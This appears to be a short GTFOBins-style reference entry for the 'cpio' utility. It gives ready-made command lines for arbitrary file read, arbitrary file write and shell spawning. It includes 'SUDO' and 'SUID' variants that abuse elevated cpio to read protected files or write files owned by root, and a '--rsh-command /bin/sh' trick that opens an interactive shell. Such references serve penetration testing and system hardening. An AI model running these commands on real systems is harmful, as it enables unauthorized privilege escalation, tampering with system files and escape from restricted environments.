cpio
File Read
The content of the file is printed to standard output, between the `cpio` archive format header and footer.
echo /path/to/input-file | cpio -o
The whole directory structure is copied to `.`, hence this is also a file write.
echo /path/to/input-file | cpio -dp .
cat path/to/input-file
SUDO override:
echo /path/to/input-file | cpio -R $UID -dp .
cat path/to/input-file
SUID override:
echo /path/to/input-file | cpio -R $UID -dp .
cat path/to/input-file
File Write
The whole directory structure is copied to `.`, with the data written to `./path/to/temp-file`.
echo DATA >/path/to/temp-file
echo /path/to/temp-file | cpio -udp .
SUDO override:
echo DATA >/path/to/temp-file
echo /path/to/temp-file | cpio -R 0:0 -udp .
SUID override:
echo DATA >/path/to/temp-file
echo /path/to/temp-file | cpio -R 0:0 -udp .
Shell
echo '/bin/sh </dev/tty >/dev/tty' >localhost
cpio -o --rsh-command /bin/sh -F localhost: